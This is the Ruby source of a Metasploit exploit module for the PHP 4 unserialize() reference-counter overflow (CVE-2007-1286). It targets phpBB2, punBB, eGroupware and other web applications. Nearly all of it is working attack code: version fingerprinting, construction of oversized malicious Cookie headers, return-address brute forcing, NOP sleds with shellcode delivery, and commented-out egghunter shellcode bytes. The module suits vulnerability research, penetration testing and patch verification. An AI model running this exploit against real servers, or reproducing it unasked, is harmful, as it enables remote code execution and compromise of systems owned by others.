1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 |
## # $Id: php_unserialize_zval_cookie.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)', 'Description'=> %q{ This module exploits an integer overflow vulnerability in the unserialize() function of the PHP web server extension. This vulnerability was patched by Stefan in version 4.5.0 and applies all previous versions supporting this function. This particular module targets numerous web applications and is based on the proof of concept provided by Stefan Esser. This vulnerability requires approximately 900k of data to trigger due the multiple Cookie headers requirement. Since we are already assuming a fast network connection, we use a 2Mb block of shellcode for the brute force, allowing quick exploitation for those with fast networks. One of the neat things about this vulnerability is that on x86 systems, the EDI register points into the beginning of the hashtable string. This can be used with an egghunter to quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction is known. The EDI method is faster, but the bandwidth-intensive brute force used by this module is more reliable across a wider range of systems. }, 'Author' => [ 'hdm',# module development 'GML <grandmasterlogic [at] gmail.com>',# module development and debugging 'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 10394 $', 'References' => [ ['CVE', '2007-1286'], ['OSVDB', '32771'], ['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'], ], 'Privileged' => false, 'Payload'=> { 'Space' => 1024, }, 'Targets'=> [ # # 64-bit SuSE:0x005c0000 # Backtrack 2.0:0xb797a000 # Gentoo: 0xb6900000 # [ 'Linux x86 Generic', { 'Platform'=> 'linux', 'Arch'=> [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop'=> { 'Ret' => 0xbfff0000 }, 'Step'=> 1024*1024 } } ], [ 'Linux x86 phpBB2', { 'DefaultCookie' => 'phpbb2mysql_data', 'DefaultURI'=> '/phpBB2/faq.php', 'Signature' => /Powered\s+by.*phpBB/, 'Platform'=> 'linux', 'Arch'=> [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop'=> { 'Ret' => 0xbfff0000 }, 'Step'=> 1024*1024 } } ], [ 'Linux x86 punBB', { 'DefaultCookie' => 'punbb_cookie', 'DefaultURI'=> '/index.php', 'Signature' => /Powered\s+by.*PunBB/, 'Platform'=> 'linux', 'Arch'=> [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop'=> { 'Ret' => 0xbfff0000 }, 'Step'=> 1024*1024 } } ], [ 'Linux x86 WWWThreads', { 'DefaultCookie' => 'forum_cookie', 'DefaultURI'=> '/index.php', 'Signature' => /Powered\s+by.*WWWThreads/, 'Platform'=> 'linux', 'Arch'=> [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop'=> { 'Ret' => 0xbfff0000 }, 'Step'=> 1024*1024 } } ], [ 'Linux x86 Deadman Redirect', { 'DefaultCookie' => 'authcookie', 'DefaultURI'=> '/dmr/dmr.php', 'Signature' => /document\.f\.userdata\.focus/, 'Platform'=> 'linux', 'Arch'=> [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop'=> { 'Ret' => 0xbfff0000 }, 'Step'=> 1024*1024 } } ], [ 'Linux x86 PhpWebGallery', { 'DefaultCookie' => 'pwg_remember', 'DefaultURI'=> '/phpwebgallery/index.php', 'Signature' => /Powered\s+by.*phpwebgallery/msi, 'Platform'=> 'linux', 'Arch'=> [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop'=> { 'Ret' => 0xbfff0000 }, 'Step'=> 1024*1024 } } ], [ 'Linux x86 Ariadne-CMS', { 'DefaultCookie' => 'ARCookie', 'DefaultURI'=> '/ariadne/loader.php/', 'Signature' => /Ariadne is free software/, 'Platform'=> 'linux', 'Arch'=> [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop'=> { 'Ret' => 0xbfff0000 }, 'Step'=> 1024*1024 } } ], [ 'Linux x86 ProMA', { 'DefaultCookie' => 'proma', 'DefaultURI'=> '/proma/index.php', 'Signature' => /Change Account Information/, 'Platform'=> 'linux', 'Arch'=> [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop'=> { 'Ret' => 0xbfff0000 }, 'Step'=> 1024*1024 } } ], [ 'Linux x86 eGroupware', { 'DefaultCookie' => 'eGW_remember', 'DefaultURI'=> '/egroupware/login.php', 'Signature' => /www.egroupware.org/, 'Platform'=> 'linux', 'Arch'=> [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop'=> { 'Ret' => 0xbfff0000 }, 'Step'=> 1024*1024 } } ] ], 'DisclosureDate' => 'Mar 04 2007')) register_options( [ OptString.new('URI', [false, "The path to vulnerable PHP script"]), OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"]) ], self.class) end def check print_status("Checking for a vulnerable PHP version...") # # Pick the URI and Cookie name # cookie_name = datastore['COOKIENAME'] || target['DefaultCookie'] uri_path= datastore['URI']|| target['DefaultURI'] if(not cookie_name) raise RuntimeError, "The COOKIENAME option must be set" end if(not uri_path) raise RuntimeError, "The URI option must be set" end res = send_request_cgi({ 'uri' => uri_path, 'method' => 'GET' }, 5) php_bug = false if (not res) print_status("No response from the server") return Exploit::CheckCode::Safe end http_fingerprint({ :response => res })# check method if (res.code != 200) print_status("The server returned #{res.code} #{res.message}") return Exploit::CheckCode::Safe end if ( (res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or (res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/) ) php_raw = $1 php_ver = php_raw.split('.') if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5) print_status("The server runs a vulnerable version of PHP (#{php_raw})") php_bug = true else print_status("The server runs a non-vulnerable version of PHP (#{php_raw})") return Exploit::CheckCode::Safe end end # Detect the phpBB cookie name if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/) print_status("The server may require a cookie name of '#{$1}_data'") end if(target and target['Signature']) if (res.body and res.body.match(target['Signature'])) print_status("Detected target #{target.name}") else print_status("Did not detect target #{target.name}") end end return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears end def brute_exploit(target_addrs) zvalref = encode_semis('i:0;R:2;') # # Use this if we decide to do 'jmp edi' returns vs brute force # =begin # Linux specific egg-hunter tagger = "\x90\x50\x90\x50" hunter = "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" + "\x3c\xf2\x74\xf1\xb8" + tagger + "\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7" egghunter = "\xcc" * 39 egghunter[0, hunter.length] = hunter hashtable = "\xcc" * 39 hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes hashtable[20, 4] = [target_addrs['Ret']].pack('V') hashtable[32, 4] = [target_addrs['Ret']].pack('V') =end # # Just brute-force addresses for now # tagger= '' egghunter = rand_text_alphanumeric(39) hashtable = rand_text_alphanumeric(39) hashtable[20, 4] = [target_addrs['Ret']].pack('V') hashtable[32, 4] = [target_addrs['Ret']].pack('V') # # Pick the URI and Cookie name # cookie_name = datastore['COOKIENAME'] || target['DefaultCookie'] uri_path= datastore['URI']|| target['DefaultURI'] if(not cookie_name) raise RuntimeError, "The COOKIENAME option must be set" end if(not uri_path) raise RuntimeError, "The URI option must be set" end # Generate and reuse the original buffer to save CPU if (not @saved_cookies) # Building the malicious request print_status("Creating the request...") # Create the first cookie header to get this started cookie_fun = "Cookie: #{cookie_name}=" cookie_fun << Rex::Text.uri_encode( 'a:100000:{s:8:"' + rand_text_alphanumeric(8) + '";a:3:{s:12:"' + rand_text_alphanumeric(12) + '";a:1:{s:12:"' + rand_text_alphanumeric(12) + '";i:0;}s:12:"' + rand_text_alphanumeric(12) + '";'+ 'i:0;s:12:"' + rand_text_alphanumeric(12) + '";i:0;}' ) cookie_fun << zvalref * 500 cookie_fun << Rex::Text.uri_encode('s:2:"') cookie_fun << "\r\n" refcnt = 1000 refmax = 65535 # Keep adding cookie headers... while(refcnt < refmax) chead = 'Cookie: '; chead<< encode_semis('";N;') # Stay within the 8192 byte limit 0.upto(679) do |i| break if refcnt >= refmax refcnt += 1 chead << zvalref end chead << encode_semis('s:2:"') cookie_fun << chead + "\r\n" end # The final header, including the hashtable with return address cookie_fun << "Cookie: " cookie_fun << Rex::Text.uri_encode('";N;') cookie_fun << zvalref * 500 @saved_cookies = cookie_fun end # Generate and reuse the payload to save CPU time if (not @saved_payload) @saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256) end cookie_addrs = Rex::Text.uri_encode( 's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;' ) + "\r\n" print_status("Trying address 0x%.8x..." % target_addrs['Ret']) res = send_request_cgi({ 'uri' => uri_path, 'method' => 'POST', 'raw_headers' => @saved_cookies + cookie_addrs, 'data'=> @saved_payload }, 1) if res failed = false print_status("Received a response: #{res.code} #{res.message}") if (res.code != 200) print_error("The server returned a non-200 response, indicating that the exploit failed.") failed = true end if (not failed and (res.body and res.body.length > 0)) print_error("The server returned a real response, indicating that the exploit failed.") failed = true end if (failed) print_status("Please verify the URI and COOKIENAME parameters.") print_line('') print_line("*" * 40) print_line(res.body) print_line("*" * 40) print_line('') raise RuntimeError, "Exploit settings are probably wrong" end else print_status("No response from the server") end end def encode_semis(str) str.gsub(';') { |s| sprintf("%%%.2x", s[0]) } end end |